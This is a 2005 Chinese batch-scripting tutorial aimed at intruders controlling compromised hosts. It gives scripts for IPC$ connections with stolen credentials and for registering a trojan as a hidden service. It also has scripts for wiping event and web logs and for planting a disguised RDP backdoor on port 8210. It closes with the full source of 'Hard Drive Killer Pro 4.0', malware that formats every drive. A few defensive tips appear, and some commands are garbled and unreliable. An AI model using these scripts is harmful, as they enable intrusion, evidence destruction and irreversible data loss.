分类:
2005-01-12 08:27:22
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use 1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:51
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.
C:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:55
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc
exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能
发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如
果有的话也不要直接DEL掉,先用regsvr32 /u
trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在
入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。
当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注
册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:WINNTsystem32door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:WINNTsystem32door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我
们现在在使用一些比较老的木马时,可能会在注册表的
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、
Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将
木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
echo
echo If you ran this file, then sorry, I just made it. The purpose of
this program is to tell you the following. . . >>c:autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat
echo echo. >>c:autoexec.bat
echo echo Regards, >>c:autoexec.bat
echo echo. >>c:autoexec.bat
echo echo Munga Bunga >>c:autoexec.bat
call attrib +r +h c:autoexec.bat
:makedir
if exist c:temp.bat attrib -r -h c:temp.bat >nul
echo @echo off >c:temp.bat
echo %%1: >>c:temp.bat
echo cd >>c:temp.bat
echo :startmd >>c:temp.bat
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
echo
if not exist
%%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul
goto startmd >>c:temp.bat
call attrib +r +h c:temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a: /S >nul
call attrib +r +h c:temp.bat >nul
call attrib +r +h c:autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!